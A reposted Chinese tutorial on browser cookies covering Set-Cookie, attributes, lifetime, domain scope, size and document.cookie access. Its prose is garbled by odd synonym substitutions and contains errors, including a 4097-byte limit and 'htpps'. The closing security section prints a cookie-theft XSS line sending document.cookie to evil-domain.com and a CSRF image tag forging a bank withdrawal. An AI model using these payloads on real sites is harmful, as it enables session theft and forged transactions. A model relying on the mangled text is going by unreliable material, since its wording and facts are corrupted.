前端存储 (1) -- Cookie

目次

  • 建立
  • 构成
  • 生命周期
  • 作用域
  • 存储大小

建立Cookie

当服务器收到HTTP要求时,服务器能够在相应头内里增加一个Set-Cookie选项。
浏览器收到相应后通常会保存下Cookie,
以后对该服务器每一次要求中都经由过程Cookie要求头部将Cookie信息发送给服务器。
别的,Cookie的逾期时刻、域、途径、有效期、实用站点都能够根据须要来指定。

服务器运用Set-Cookie相应头部向用户代办(平常是浏览器)发送Cookie信息。一个简朴的Cookie能够像如许:

  Set-Cookie: <cookie名>=<cookie值>
  response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);

构成

  • Name
  • Value
  • Domain
  • Path
  • Expires/ Max-Age 逾期时刻
  • Size
  • Http
  • Secure 是不是加密,标记为Secure 只会经由过程 htpps 协定传输, http 是不能设置的
  • SameSite

构成

生命周期

默许是浏览器封闭就清掉, 平常会设置 指定逾期时刻(Expires)或许有效期(Max-Age)
须要注重的是,有些浏览器供应了会话恢复功用,这类情况下纵然封闭了浏览器,会话期Cookie也会被保存下来,就好像浏览器从来没有封闭一样。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

作用域

Domain (域名)和 Path 标识定义了Cookie的作用域:即Cookie应当发送给哪些URL。

Cookie 的Domain 属性能够设置 Cookie 发送哪些 url,默许是在当前域名下,但有时刻我们能够几个站点想同享Cookie 信息
比如 qq空间(qq.tentxun.com)上岸了,我想点进 qq 邮箱(mail.tenxun.com), 那假如再上岸一次,用户爸爸一定受不了,所以经由过程设置
cookie 的 domain 为 “.tenxun.com”,从 qq空间点击链接 进入 qq 邮箱, qq邮箱 经由过程 cookie 信息,猎取用户信息,就能够不必再次上岸了

假如设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。

存储大小

4097个字节, 多了浏览器会默默删掉

javascript 接见 Cookie

 var cookie = document.cookie;
 document.cookie = "username=tt";

安全问题

(new Image()).src = “http://www.evil-domain.com/steal-cookie.php?cookie=” + document.cookie;

<img src=”http://bank.example.com/withd…;amount=1000000&for=mallory”>

    原文作者:hucheng91
    原文地址: https://segmentfault.com/a/1190000015650324
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞